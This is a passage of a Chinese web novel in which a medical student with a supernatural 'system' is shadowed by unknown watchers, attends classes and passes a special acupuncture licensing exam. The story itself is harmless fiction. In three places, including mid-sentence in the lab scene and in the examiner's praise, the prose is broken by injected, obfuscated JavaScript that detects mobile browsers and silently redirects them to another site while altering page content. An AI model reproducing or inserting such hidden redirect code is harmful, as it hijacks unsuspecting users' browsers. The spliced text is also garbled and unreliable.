如果感觉不对劲——我是说,任何不对劲——立刻按报警器,然后往人多、有摄像头的地方跑,别犹豫,另外……” 他顿了顿,语气加重:“如果有什么‘老朋友’或者‘新朋友’找你,特别是拐弯抹角打听那晚之事的,正常应付,但说的每一句话,都要在脑子里过三遍,事后,原原本本告诉我们。” “明白。”江起知道,这就是“钓鱼”计划的开始了。 车子重新启动,驶向高田马场。 这一次,松田阵平开得慢了很多,目光不时扫过后视镜和两侧,像是在观察什么。 快到公寓时,松田阵平忽然说:“你那个针灸,对运动损伤,比如过度训练导致的肌肉劳损或者旧伤,效果怎么样?” 江起有些意外他会问这个。“看具体情况,如果是单纯的肌肉疲劳、僵硬,或者某些慢性无菌性炎症,针灸结合手法松解,效果通常很明显,能快速缓解疼痛、改善功能。 但对韧带撕裂、软骨损伤这类结构性损伤,针灸主要是辅助止痛、消肿、促进局部循环,为修复创造环境,严重的,还是需要手术或系统康复。” “嗯。”松田阵平应了一声,没再多问,但江起感觉他这个问题并非随口一提。 车子在公寓楼下停稳。 江起正要下车,松田阵平叫住他,递过来一个东西。 小巧的,黑色,像U盘,但更厚实一些。 “这又是什么?” “加密通讯器,单向的,只能接收,不能发送,如果有什么极端紧急情况,或者我们需要立刻联系你、下达必须执行的指令,它会震动。” 松田阵平解释得很详细,语气是不容置疑的命令式,“看到它震动,立刻找绝对安全,没人的地方,插到手机耳机孔里,听里面的留言,信息是加密的,只能播放一次,听完自动销毁。 比任何电话、短信都安全,收好,别丢了,也别让任何人看见。” 江起接过那个冰冷的金属小玩意,入手颇沉。“知道了。” 他推开车门,撑开伞,细密的雨丝在路灯下飞舞,泛起迷蒙的光晕。 “江起。”松田阵平的声音从身后传来。 江起回头。 松田阵平已经降下了车窗,墨镜摘了下来,拿在手里。 路灯的光斜斜照在他脸上,那双总是显得不耐烦,此刻却异常清晰的眼睛,直直地看着江起,他的表情很平静,甚至算得上冷峻,但眼神深处,有一种近乎灼热、不容错辨的认真。 “记住,”他说,每个字都咬得很重,像是要钉进江起的脑子里,“你选的路,我尊重,但你这条命,现在有一半是挂在我和萩原研二身上的,别给我们找麻烦,更别把自己弄丢了,听清楚没有?” 江起看着他,点了点头,同样认真地说:“听清楚了。” 松田阵平盯着他看了两秒,然后几不可查地扬了下下巴,算是回应。 接着,他重新戴上墨镜,车窗升起。 白色的RX-7没有立刻离开,在原地停了大约五秒钟,引擎低低地轰鸣着,像一头暂时收敛爪牙、却依然充满力量的野兽,在寂静的雨夜中宣示着存在。 然后,它缓缓滑出,加速,很快消失在街道拐角,只留下渐渐远去的轮胎碾压湿漉路面的声音。 江起站在原地,看着车子消失的方向,又抬头看了看自己那扇漆黑的窗户。 雨丝落在脸上,冰凉。 几秒后,他转身,走进公寓楼。 10. 第 10 章 周四的清晨,阳光穿透薄雾,将高田马场的老旧街区染成一片柔和的淡金色。 江起在手机闹钟震动前五分钟准时醒来,闭眼躺在床上,听着窗外渐次响起的城市苏醒的声音,送报员自行车的铃响,便利店卷帘门拉起,远处电车驶过的规律轰鸣。 很平常的东京早晨。 他起身,洗漱,从冰箱里拿出昨晚在便利店买好的饭团和牛奶,简单加热。 吃饭时,他翻开手机,邮箱里静静躺着两封新邮件。 第一封来自东大教务处,提醒下周开始的期中考试日程安排。 第二封的发件人是一个陌生的机构邮箱,署名是“日本针灸师协会资格认定委员会”,内容正式而简短: 【江起先生様】 【关于‘针灸师·灸师’国家资格特例认定试验事宜】 【考试时间:本周六上午9:00】 【考试地点:东京都文京区本乡X-X-X 针灸师协会大楼3楼 特别试验室】 【携带物品:身份证明(在留卡)、笔、白色医用作业服(若无,现场可提供)】 【注意事项:考试分为笔试(60分钟)与实操面试两部分,请提前15分钟抵达。】 【联系人:石田一郎(协会顾问)】 【确认出席请回复本邮件。】 邮件的措辞是标准的官方格式,但发送时间却是昨晚深夜,效率高得惊人,也侧面印证了石田一郎的影响力。 江起放下牛奶杯,回复了确认邮件。 然后,他将邮件内容截图,保存在手机加密备忘录里。 做完这些,他才继续吃完早餐,洗净餐具,有条不紊地整理书包。 今天上午是《病理学》大课,下午是《微生物学与免疫学》的实验。 他将厚重的教科书、笔记本、解剖图谱、以及石田一郎给他的那几份针灸期刊复印件一起装进背包。 在检查背包侧袋时,他的手指触到了那两个冰凉的金属物件——黑色的警用报警器,和那个更小的加密通讯器。 它们安静地躺在暗袋里,像两颗沉默的种子,埋藏着未知的风险与承诺。 片刻,他拉上背包拉链,穿上外套,最后看了一眼镜中的自己,然后,推门而出,走入周四早晨的阳光里。 前往东大的电车上挤满了上班族和学生。 江起靠着车门附近的立柱,戴着耳机,里面播放的是《局部解剖学》的英文名词发音对照。 他的目光看似随意地扫过车厢,掠过一张张困倦、麻木或盯着手机屏幕的脸。 视野的边缘,没有任何异常标注弹出。 没有代表潜在伤患的提示,也没有代表恶意注视的警示。 系统似乎只对明确的“医学相关”或“已识别威胁”有反应,对于普通的跟踪或监视,并未给予额外提示。 这反而让江起更加警醒,他需要依靠自己的观察力。 电车停靠新宿站,涌上一大波人潮。 一个穿着灰色夹克、戴着鸭舌帽的中年男人挤到了他斜后方,背对着他,似乎在专注地看手机。 江起的目光在对方的后颈和肩膀轮廓上停留了半秒,姿势放松,没有长时间保持一个角度的僵硬感,呼吸平稳,不像受过特殊训练或正处于紧张状态的人。 几站后,鸭舌帽男人下了车。 又过了两站,一个提着公文包、西装革履的上班族站到了他刚才的位置,这个男人站姿更挺,但不时调整重心,眼睛频繁瞥向手腕上的表,更像一个担心迟到的普通职员。 直到江起在东大前站下车,随着人流走向校门,他也没有发现任何明确可疑的尾巴,但这并不能让他放松。 松田阵平说过,安排的人会“远远跟着”,而另一方的人,可能更专业,更懂得隐藏。 他像往常一样刷卡进入校园,沿着林荫道走向医学部大楼,沿途不时有认识的同学或同期生跟他打招呼。 “江君,早!” “早,江君,病理学的笔记能借我看看第二章吗?昨天有点没跟上……” “江君,下午实验课我们一组吧?” 江起一一回应,态度如常。 他能感觉到,经过爆炸案和网球部事件,他在同期生中的人缘和“知名度”似乎微妙地提升了。 这其中有对他急救表现的佩服,也有对他“神秘医术”的好奇,或许还有些别的什么,他保持着友好的距离,既不刻意疏离,也不过分热络。 《病理学》的教授是位以严格著称的老先生,讲课深入浅出,但提问刁钻。 今天讲的是“肿瘤的侵袭与转移机制”。 当教授在投影屏上展示一张复杂的癌细胞内信号通路图时,江起一边快速笔记,一边下意识地在脑中同步调用着相关知识。 视野中,那张静态的示意图仿佛活了过来。 代表不同信号分子的箭头动态流转,关键酶的作用位点被高亮,甚至几种常见靶向药物的作用机制和耐药可能,都以简洁的动画注释形式在意识边缘浮现。 这不是系统的强制灌输,更像是他自身知识库与系统提供,更直观立体的理解方式之间的无缝衔接。 他需要做的,只是有选择地接收、整合,然后将精华部分记录在笔记上。 “……那么,江君,”教授的声音忽然点名,打断了江起的思绪,“你能否简要解释一下,上皮-间质转化(EMT)在肿瘤转移的哪个环节起到关键作用,以及它与肿瘤微环境中的哪些因素相互作用?” 问题很专业,涉及当前肿瘤研究的前沿,教室里安静下来,不少目光投向江起。 江起站起身,略一思索,便流畅回答:“上皮-间质转化是肿瘤细胞获得迁移和侵袭能力的关键步骤。 它主要发生在肿瘤侵袭的早期,使原本具有极性和细胞间连接的上皮样肿瘤细胞,转化为具有间质细胞特性、运动能力增强的细胞。 这一过程受到肿瘤微环境中多种因素的调控,包括转化生长因子-β(TGF-β)、基质金属蛋白酶(MMPs)、缺氧诱导因子(HIF-1α)等信号通路激活,以及肿瘤相关成纤维细胞(CAFs)、肿瘤相关巨噬细胞(TAMs)等释放的细胞因子影响。 EMT不仅促进局部侵袭,还帮助肿瘤细胞进入血管或淋巴管,为远处转移铺平道路①。” 他的回答条理清晰,涵盖了关键知识点,甚至提到了最新的肿瘤微环境概念。教授脸上露出一丝满意的神色,点了点头:“很好,请坐,看来江君课后有深入阅读文献。这正是我想强调的,现代病理学早已不仅仅是观察切片,更需要理解疾病背后的动态过程和复杂的系统交互……” 江起坐下,能感觉到周围同学投来的目光多了些佩服,他面色平静,心里却清楚,刚才的回答里,至少有三分之一的内容和视角,得益于系统提供、超越当前课本的前沿整合信息。 这让他能站在一个更高的维度理解问题。 上午的课程在教授的深入讲解和偶尔的犀利提问中结束。 午休时间,江起没有去拥挤的学生食堂,而是带着便当,走到了医学部后方那片相对安静的小花园。这里有几张长椅,偶尔有学生在这里吃饭或看书。 他挑了张角落背靠建筑墙壁、面向小径的长椅坐下。 这个位置视野开阔,背后安全,不易被突然靠近。 他打开便当盒,是简单的米饭、煎鲑鱼和焯西兰花,慢慢吃着,目光看似放松地观察着周围。 花园里人不多。 远处长椅上有一对情侣在分享便当,低声说笑。 另一个戴着眼镜的男生独自坐在树下,一边吃饭一边看平板电脑上的论文。 更远些,有个穿着运动服、像是田径部成员的学生在做拉伸。 一切如常。 但就在江起吃完饭,收拾好便当盒,准备起身去图书馆查点资料时,他的动作几不可查地顿了一下。 眼角的余光捕捉到一个人影,在小花园入口处的树丛后,一闪而过。 那人影的动作很快,消失得也快,快得几乎让人以为是错觉。 但江起确信自己看到了——一个穿着深色连帽衫、帽子拉得很低的身影,个子中等,在树后停留的时间不超过两秒,然后就转向了另一条路离开。 没有看到脸,甚至没看清体型细节,但那种出现和消失的方式,带着一种不想被注意到的迅捷。 是松田他们安排的人?还是……别的什么? 江起没有立刻追过去,也没有表现出任何异常,他像什么都没发现一样,拿起背包,朝着与那人离开方向相反的图书馆走去。 下午的《微生物学与免疫学》实验课在生物安全等级二级的实验室进行。 今天的实验内容是“常见病原菌的分离培养与革兰氏染色鉴定”。空气中弥漫着培养基和消毒剂的味道。 江起和同组的佐藤、以及另外两个女生一起,在实验台上操作,他们分到的样本模拟伤口分泌物,需要先进行分离划线,然后挑取单菌落做涂片染色。 “江君,你看这个菌落形态,灰白色,边缘不规则,干燥,像不像金黄色葡萄球菌?”佐藤指着培养皿上一个可疑菌落问。 江起凑近观察,在生物安全柜的照明下,菌落的细节清晰可见。 几乎同时,视野中浮现出简明的对比提示,将该菌落形态与几种常见病原菌的典型菌落图片并列,并给出了初步的匹配概率。 “形态确实很像,不过金黄色葡萄球菌通常更‘金黄’一些,这个颜色偏灰白,也有可能是表皮葡萄球菌,或者是某些链球菌,需要染色确认。”江起谨慎地说,他拿起接种环,熟练地挑取了一点菌苔,在载玻片上制作涂片。 涂片、干燥、固定、结晶紫初染、碘液媒染、酒精脱色、番红复染……一系列步骤在他手中行云流水。 佐藤在旁边看着,忍不住小声惊叹:“江君你做实验的手也太稳了,涂片又薄又均匀,我每次都涂得厚薄不均……” “多练练就好。”江起笑笑,将染好的玻片放到显微镜下,调整焦距,油镜观察。 视野中,大量被染成紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883063|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色、成堆排列的革兰氏阳性球菌清晰可见。 “是革兰氏阳性球菌,成葡萄串状排列,基本可以确定是葡萄球菌属。”江起让出位置,让佐藤和其他组员也观察确认。 “哇,真的好像一串串葡萄……不过要怎么区分是金葡还是表葡呢?”一个女生问道。 “常规的生化试验,比如血浆凝固酶试验,金葡通常阳性,表葡阴性,更准确的还需要做药敏试验,甚至分子鉴定。”江起回答,脑海中自动补充了相关试验的操作要点和结果判读标准。 实验课在严谨的操作和观察中度过。 江起专注于眼前的工作,暂时将上午那惊鸿一瞥的身影压到心底。 直到下课铃响,他们清理完实验台,处理好所有生物废弃物,洗手消毒,离开实验室。 夕阳西斜,将校园染成温暖的橙红色。江起和佐藤一起走回医学部大楼取东西。 “江君,你周六有空吗?”佐藤忽然问,“我们几个同期生打算去涩谷那边新开的一家中华料理店试试,据说味道很正宗,你要不要一起来?你从中国来,正好帮我们鉴定一下。” 很平常的同学邀约,江起心里却快速闪过周六上午针灸师考试的安排。 “周六上午我有点事,下午或许可以,不过不确定要忙到几点,如果结束得早,我联系你们?”江起给出了一个留有弹性的答复。 “好啊好啊!那就这么说定了,我把店址发你!”佐藤很高兴。 两人在医学部门口分开,江起独自走向校门。 傍晚的校园里人更多了,参加社团活动的学生三三两两,充满了青春的喧闹。 就在他即将走出校门,踏上通往车站的人行道时,那种被注视的感觉,又来了。 这一次,比昨天下午在图书馆时更清晰,也更……持久。 视线来自斜对面马路,一家咖啡馆二楼的露天座位。 那里坐着几个人,有人在喝咖啡,有人在用笔记本,似乎都很正常。 但江起能感觉到,那束目光就在其中,平静地,不带什么情绪地,落在他身上。 他没有立刻抬头去寻找,而是像所有赶着回家的学生一样,拿出手机,假装查看信息,同时借着手机屏幕的轻微反光,快速扫向那个方向。 镜面反光模糊,只能看到大致轮廓,似乎有个穿着浅色外套的人影,面朝这个方向,但看不清具体动作和表情。 江起收起手机,脚步不停,继续走向车站。 他能感觉到,那目光一直跟随着他,直到他走进车站的闸机口,消失在建筑的遮挡之后。 是警察的人?还是……另一方? 他无法确定。 松田阵平说过安排人“远远跟着”,但这种近乎明目张胆,固定在某个位置的观察,似乎又不太像警方专业人员的风格。 可如果是另一方,他们又何必这样“提醒”他,自己已被注意? 疑窦在心头盘旋。 江起刷卡进站,随着人流走上月台。 下班高峰期的电车拥挤不堪,他挤在人群中,借着车厢玻璃窗的反光,再次观察身后。 没有发现明显的跟踪者。 电车摇晃着驶向高田马场,江起拉着吊环,闭上眼睛,看似休息,实则大脑在快速梳理。 两天的“被注视”经历,一次比一次清晰。 对方似乎并没有急于接触或采取行动,更像是在……评估?确认?还是施加心理压力? 石田一郎诊所的庇护,周六即将到来的资格考试,警方模糊的保护承诺,暗处不明意图的视线……各种线索和压力像一张无形的网,正在他周围缓缓收紧。 电车到站。 江起随着人流下车,走出车站。 暮色四合,街灯渐次亮起。他沿着熟悉的街道走向公寓,步伐不疾不徐。 路过那家熟悉的便利店时,他进去买了晚餐的食材和一瓶水,结账时,收银员是个陌生的年轻男孩,对他礼貌地微笑。 走出便利店,他拎着塑料袋,继续走向公寓楼。 在距离公寓还有几十米的一个小巷口,他脚步几不可查地慢了一瞬。 巷子深处,似乎有个烟头的红点,在昏暗的光线中明灭了一下,随即消失。 江起面不改色,径直走过巷口,没有朝里看,他能感觉到,巷子里有人。 是不是刚才咖啡馆的那个,他无法确定。 他走上公寓楼梯,打开房门,开灯,反锁。熟悉的、略带清冷气息的小房间将他包裹。 放下东西,他先走到窗边,从窗帘缝隙向下望去。 街道安静,偶尔有车辆驶过,行人寥寥。 巷口方向,没有任何异常。 他拉好窗帘,打开手机,调出加密通讯器的界面,它依然安静,报警器也静静地躺在背包里。 对方没有进一步的行动。 江起走到书桌前,打开台灯,拿出病理学和微生物学的笔记,开始复习,灯光照亮他沉静的侧脸,在墙壁上投下专注的影子。 他知道,平静只是表象。 11. 第 11 章 周六的清晨,江起比平时早起了一个小时。 在晨光熹微中完成了洗漱,换上昨晚熨烫平整的白色短袖衬衫和深色长裤。 背包里除了必要的身份证明和笔,还放着一个扁平的深蓝色硬质针具盒,配套的还有镊子、消毒棉片和一个小巧的酒精喷瓶。 出门前,他检查了背包侧袋。 黑色的报警器和那个小巧的加密通讯器都安静地躺在那里,他凝视了它们两秒,然后拉上拉链,推开房门。 清晨的空气清冷,街道空旷。 便利店已经亮起灯,店员正在整理货架。 江起走进去,买了两个饭团和一瓶热咖啡,站在店门口的垃圾桶旁快速吃完,热流顺着食道滑下,驱散了最后一丝朦胧的睡意。 他看了眼手机,七点十五分。 针灸师协会大楼位于本乡,从高田马场过去,算上换乘,大约需要四十分钟,他决定步行一段路去车站,既是热身,也想在相对安静的环境下,最后梳理一下思绪。 然而,这份宁静很快被打破了。 当他拐进一条相对僻静的小路,准备抄近道去车站时,一种几乎被晨风吹散的引擎低鸣,从后方不远处传来。 那不是普通家用车的声音,带着一种蓄势待发的张力。 江起脚步不变,但身体微微绷紧,他没有回头,只是借着调整背包肩带的动作,用眼角的余光向声音来处扫去。 一辆黑色的丰田世纪,像一头沉默的黑色巨兽,正以几乎与他步速同步的缓慢速度,跟在他后方约二十米处。 车窗贴着深色的膜,看不清内部。 车子没有开灯,在晨雾中显得格外低调,也格外……不容忽视。 这不是松田阵平那辆张扬的白色RX-7,风格截然不同。 江起的心跳平稳地加速了几拍,是警察安排的另一种“保护”?还是……别的? 他没有停下,也没有加快脚步,保持着原有的节奏。 黑色丰田世纪就这么不紧不慢地跟着,直到他走到大路路口,汇入清晨渐多的人流和车流。 那辆车在路口停顿了片刻,然后流畅地拐向了另一个方向,消失在车流中,仿佛刚才的跟随只是一个巧合。 但江起知道,不是巧合。 他走进地铁站,刷卡,等车。 在拥挤的早班电车上,他闭上眼睛,将刚才那辆车的影像和感觉在脑中回放。沉稳,低调,却带着不容置疑的存在感,或者说,一种温和的警告,意味着,我们知道你的动向,但我们暂时不会做什么。 是谁? 带着这个疑问,江起在九点差一刻,准时站在了针灸师协会大楼前。 这是一栋不起眼的七层建筑,外墙是普通的米色瓷砖,入口处悬挂着“公益社团法人日本针灸师协会”的铜牌。 周六的早晨,大楼静悄悄的,只有入口的自动玻璃门透着光。 江起深吸一口气,推开玻璃门,大厅宽敞明亮,前台空无一人。 左手边的指示牌上,“特别试验室→3F”的箭头异常醒目,他走向电梯,按下三楼按钮。 电梯门在无声中滑开。 三楼的走廊铺着深灰色的地毯,吸走了所有脚步声。 走廊尽头,一扇厚重的实木门虚掩着,门牌上正是“特别试验室”。 江起走到门前,轻轻敲了敲。 “请进。”一个平静的、略显苍老的声音从里面传来。 他推门而入。 房间很大,光线充足。 布置得像个小型报告厅兼诊疗室。 前方是一个铺着白色桌布的长条桌,后面坐着五个人。 坐在正中央的,正是石田一郎,他今天没有穿白大褂,而是一身深灰色的和服,神色肃穆。 他左右各坐着两位年纪不等的男女,皆穿着正式的西装或套装,表情严肃,目光锐利,带着审视的意味。 江起能感觉到,在进来的瞬间,五道目光如同精密仪器般,将他从头到脚扫描了一遍。 房间中央,摆放着一张标准的诊疗床。 床边有一个可移动的无菌操作台,上面整齐码放着各种规格的一次性针灸针、艾条、酒精棉球等物。 诊疗床的另一侧,还立着一个覆盖着白布的人体经络穴位模型。 “江起君,请坐。”石田一郎指了指长条桌前单独摆放的一把椅子,声音平和,但带着无形的压力。 “是,石田先生,各位考官,上午好。”江起微微鞠躬,走到椅子前坐下,背脊挺直,双手自然放在膝上。 “我是石田一郎,本次特例认定试验的委员长。”石田一郎简单地介绍,然后指向他左手边一位戴着金丝眼镜、面容清瘦的六十岁左右男性。“这位是东京都立医科大学针灸科的铃木教授。” 接着是右手边一位五十多岁、气质干练的女性,“这位是协会专务理事,伊藤女士。” 再旁边两位,一位是看起来四十出头、目光如电的男性,“横滨市立医院康复科部长,佐佐木医师。” 最后一位则是位白发苍苍、但眼神异常明亮的老者,“协会名誉顾问,古典经络研究大家,山本先生。” 每一位被介绍到,都对江起微微颔首,目光中的审视并未减少。 “江起君,你的基本情况,石田先生已经向我们说明。”伊藤专务理事率先开口,声音清晰,语速很快,“本次特例认定试验,旨在为虽无正规养成履历,但确实具备卓越技能与实践能力者,开辟一条获得国家资格的途径,因此,试验的难度和标准,将远高于普通国家考试,你明白吗?” “我明白。”江起迎着她的目光,平静回答。 “很好。”铃木教授推了推眼镜,拿起面前的一份文件,“那么,我们开始,第一部分,笔试。 时间六十分钟。题目涵盖经络腧穴学、针灸理论、解剖学、卫生法规,以及……临床案例分析。” 一份装订好的试卷被传递到江起面前,他翻开,快速浏览。 题目确实不简单。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883064|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经络腧穴部分,不仅要求填写标准定位、归经、主治,还涉及特定穴位的深层解剖毗邻、针刺风险。 针灸理论题则结合了《灵枢》、《难经》的原文理解与现代神经生理学解释。 解剖学题目甚至细化到了某些穴位下具体的神经分支、动脉穿支。法规题也颇为刁钻。 但最引人注目的,是最后一道占分极重的案例分析题: 【患者,男性,45岁。主诉:右侧上肢放射痛、麻木、无力六月,夜间痛甚,影响睡眠。查体:颈部活动度尚可,压颈试验(+),臂丛神经牵拉试验(+),右手骨间肌轻度萎缩。 MRI示:C5/6椎间盘突出,右侧神经根受压。既往尝试药物、物理治疗效果不佳,患者拒绝手术。 请从针灸治疗角度,设计一套治疗方案,需阐述选穴依据、针刺思路、可能的辅助疗法,并分析治疗中需注意的风险与禁忌。】 这是一个典型的神经根型颈椎病病例,且已出现肌肉萎缩,病情不轻。 题目考察的不仅是选穴,更是对疾病病理、解剖、针灸治疗原理的综合把握,以及风险评估能力。 江起拿起笔,略一沉吟,便快速书写起来。 笔试过程安静而紧张。只有笔尖划过纸张的沙沙声,和几位考官偶尔低语、翻阅资料的声音。 江起全神贯注,系统赋予的知识,和自身扎实的医学基础在此刻完美融合。 那些经络循行、穴位定位、肌肉起止、神经走向、血管分布,在他脑中如同立体地图般清晰呈现,与病例的具体情况迅速匹配、推演。 他答题的速度很快,但字迹工整。 案例分析部分,他不仅依据常规的“颈夹脊穴+循经取穴+远道取穴”思路,还详细分析了不同阶段(急性期、缓解期、恢复期)的针刺策略差异,提出了结合艾灸温通、刺络拔罐祛瘀、以及后期穴位注射营养神经药物的可能性。 在风险方面,他特别指出了颈部深刺可能伤及椎动脉、脊髓的风险,以及针对已有神经根明显受压和肌肉萎缩的患者,刺激强度和治疗预期需格外谨慎。 不到五十分钟,他写完了最后一笔,检查一遍,放下了笔。 “时间还没到。”佐佐木医师看了一眼手表,有些惊讶。 “我答完了。”江起说。 试卷被收走,几位考官开始传阅、低声交流。 石田一郎仔细地看着江起的答卷,尤其是案例分析部分,目光在某些段落停留了许久,手指无意识地轻敲着桌面。 山本老先生则拿着经络腧穴部分的答卷,眯着眼睛,嘴里喃喃念着几个穴位的古医籍别名,和定位歌诀,似乎在核对。 片刻后,石田一郎抬起头,看向江起,目光复杂,有惊讶、欣赏,也有一丝更深邃的探究。 “笔试部分,到此为止。接下来,是实操面试。”他顿了顿,“江起君,你需要实际操作,向我们展示你的针术,对象,就是他。” 他指了指房间一侧。 12. 第 12 章 直到这时,江起才注意到,在人体模型后面,还安静地站着一个年轻人。 他看起来二十多岁,身材匀称,穿着宽松的运动服,神情有些紧张,但站姿端正。 “这位是志愿者,高桥君,体育大学排球部成员,近期因训练导致右侧肩袖肌群劳损,伴有活动疼痛和部分方向力量下降,医院院诊断为冈上肌腱炎,正在进行物理治疗。他自愿作为本次实操的模特。” 石田一郎介绍道,“你的任务是,在四十分钟内,通过望闻问切和必要检查,确定其主要问题,并进行一次针灸治疗。 我们会观察你的整个流程——诊断思路、取穴、定位、消毒、进针、行针、询问针感、出针,以及治疗后的即时反馈。 过程中,我们会随时提问,明白吗?” “明白。”江起点头,起身,走向那位叫高桥的志愿者。“高桥君,请多指教。” “请、请多指教。”高桥显然也有些紧张。 江起让他坐在诊疗床边,开始询问病史、受伤经过、具体疼痛点和性质、加重缓解因素,并进行了详细的体格检查。 他检查了肩关节各个方向的活动度,做了抗阻试验,仔细触摸了肩峰下、喙突、结节间沟等处的压痛点,评估了相关肌肉的紧张度和力量。 在这个过程中,他的“视野”再次提供了帮助。 当他凝神于高桥的右肩时,能够“看到”代表肌肉劳损和炎性反应的淡橙色区域,主要集中在冈上肌肌腱附着点和肩峰下间隙。 代表关节正常功能的淡蓝色区域在这些部位变得稀薄、紊乱。 这印证了他的触诊判断——主要是冈上肌腱的过度使用性炎症,可能伴有肩峰下撞击倾向,但盂唇和肌腱撕裂迹象不明显。 “根据病史和检查,我认为高桥君的主要问题是右侧冈上肌肌腱炎,可能因训练姿势、力量不平衡和过度使用导致,目前处于慢性炎症期,伴有局部气血瘀滞,经络不通。” 江起向考官们陈述他的初步判断,语言专业而清晰,“针灸治疗应以疏通局部气血、舒筋活络、消炎止痛为主,兼顾调节整体气血和稳定肩胛骨动力链。” “你计划取哪些穴位?依据是什么?”铃木教授立刻提问。 “局部取穴:肩髃、肩髎、肩贞、臑俞,疏通肩部气血,直达病所,阿是穴(压痛点)重点刺激,以痛为腧。 远道取穴:合谷、手三里、曲池,疏导阳明经气,止痛治痿。 足三里、阳陵泉,健脾益气、舒筋活络,上下配穴,调和气血。 另外,考虑到排球运动的发力特点,可加天宗、秉风以调节肩胛骨稳定性。”江起不假思索,流畅作答,每一个穴位的归经、功效、与现代解剖的关联都解释得清清楚楚。 几位考官交换了一下眼神,微微点头。 江起请高桥脱去上衣,露出右侧肩膀和手臂。 他先用酒精棉球仔细消毒了所有预定穴位的皮肤,然后,他走向操作台,并未打开自己带来的针具盒,而是直接取用了台上提供的、协会标准配置的一次性无菌毫针。 “为什么不用自己的针?”佐佐木医师忽然问。 “协会提供的针具规格统一,质量可靠,且在此环境下使用最为规范,能避免任何可能的交叉污染或器械差异争议。”江起平静回答,动作没有丝毫停顿,他选用了0.25 * 40mm规格的针。 他首先刺入肩髃穴。 下针的瞬间,指尖传来皮肤、皮下组织、三角肌、直至深层冈上肌腱的细微层次感。 系统优化过的进针角度和深度指引,让他能以最小的组织损伤,将针尖精准送达炎性肌腱附近的治疗靶点。 他采用捻转泻法,高桥立刻感到一股强烈的酸胀感从肩部直窜向肘部。 “针感很强,酸胀,往胳膊下面走。”高桥如实描述。 “很好,气至病所。”江起一边说,一边继续下针。 肩髎、肩贞、臑俞,每一针都稳、准、快,针感均强烈而清晰。 刺入阿是穴(肩峰前下压痛最明显处)时,他采用了短促的提插泻法,高桥疼得轻轻“嘶”了一声,但随即表示疼痛感很快转化为深层的酸胀发热。 接着是远道穴位。合谷、手三里、曲池,针感向上传导,足三里、阳陵泉,针感向下传导。最后,他在天宗、秉风下了两针,旨在调节肩胛骨周围肌群平衡。 整个下针过程如行云流水,没有丝毫犹豫和停顿。 取穴之准,下针之稳,对针感的把握和引导,都显示出一种远超年龄的老道。 尤其是他下针时那种全神贯注、却又举重若轻的神态,仿佛不是在操作一根细针,而是在拨动人体内某条看不见精密的琴弦。 几位考官,包括一直沉默观察的山本老先生,目光都紧紧跟随着江起的每一次下针、每一次行针手法,表情越来越严肃,也越来越……惊叹。 留针二十分钟。 期间,江起每隔五分钟左右,会轻微行针一次,以保持针感,他询问着高桥的感觉变化,并让他尝试轻微地,在不引起疼痛的范围内活动肩膀。 “感觉…肩膀里面热热的,原来那个刺痛的点,现在感觉松了一点,没那么紧了。”高桥有些惊奇地说,“活动起来…好像顺了一点?” 二十分钟后,江起依次出针。 出针后,他再次检查了高桥肩部的几个压痛点,并让他做了几个之前会诱发疼痛的动作。 “疼痛减轻了大概…三四成?”高桥尝试着做了个模拟扣球的动作,虽然还有些不适,但表情明显轻松了许多,“真的轻松了不少!” 江起点点头,转向考官:“一次针灸治疗的效果通常有限,尤其对于慢性劳损,但即时疼痛减轻和活动度改善,说明针刺起到了疏通局部气血、缓解肌肉痉挛、促进炎症吸收的作用。后续需要结合纠正训练姿势、强化肩袖肌群力量、并配合定期针灸巩固。” 实操部分结束。 高桥穿好衣服,对江起再三道谢后离开了房间。 房间里恢复了寂静。 五位考官的目光再次集中到江起身上,他们没有立刻评价,而是低声交谈了几句。 江起安静地站着,等待着。 最终,石田一郎清了清嗓子,目光直视江起,缓缓开口:“江起君,你的笔试答卷,尤其是案例分析部分,展现了你扎实的理论基础、清晰的临床思维,以及…超越课本的前沿视野,其中关于颈椎病分期治疗和风险防控的见解,非常精到。” 他顿了顿,继续道:“而刚才的实操,更让我们印象深刻,取穴精准,丝毫不差,下针稳健,层次清晰。 对针感的诱发和把控,堪称精妙,尤其是你对局部解剖的理解,以及对‘气至病所’的追求和实现,绝非一日之功。 更难得的是,你始终将患者的安全和感受放在首位,手法干净利落,解释清晰耐心。并且……”他看了一眼操作台上未动过的、江起自带的针具盒,“你能恪守规范,优先使用考场提供的标准器械,这份严谨和分寸感,同样重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883065|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要。” 他的语气越来越郑重:“我担任协会顾问多年,主持、参与过无数次资格考试和评审,但像你今天这样的表现,如此年轻,却拥有如此全面、精深且…浑然天成的技艺,实属罕见。” 他看向其他四位考官,铃木教授点了点头,沉声道:“理论功底深厚,且能融会古今。” 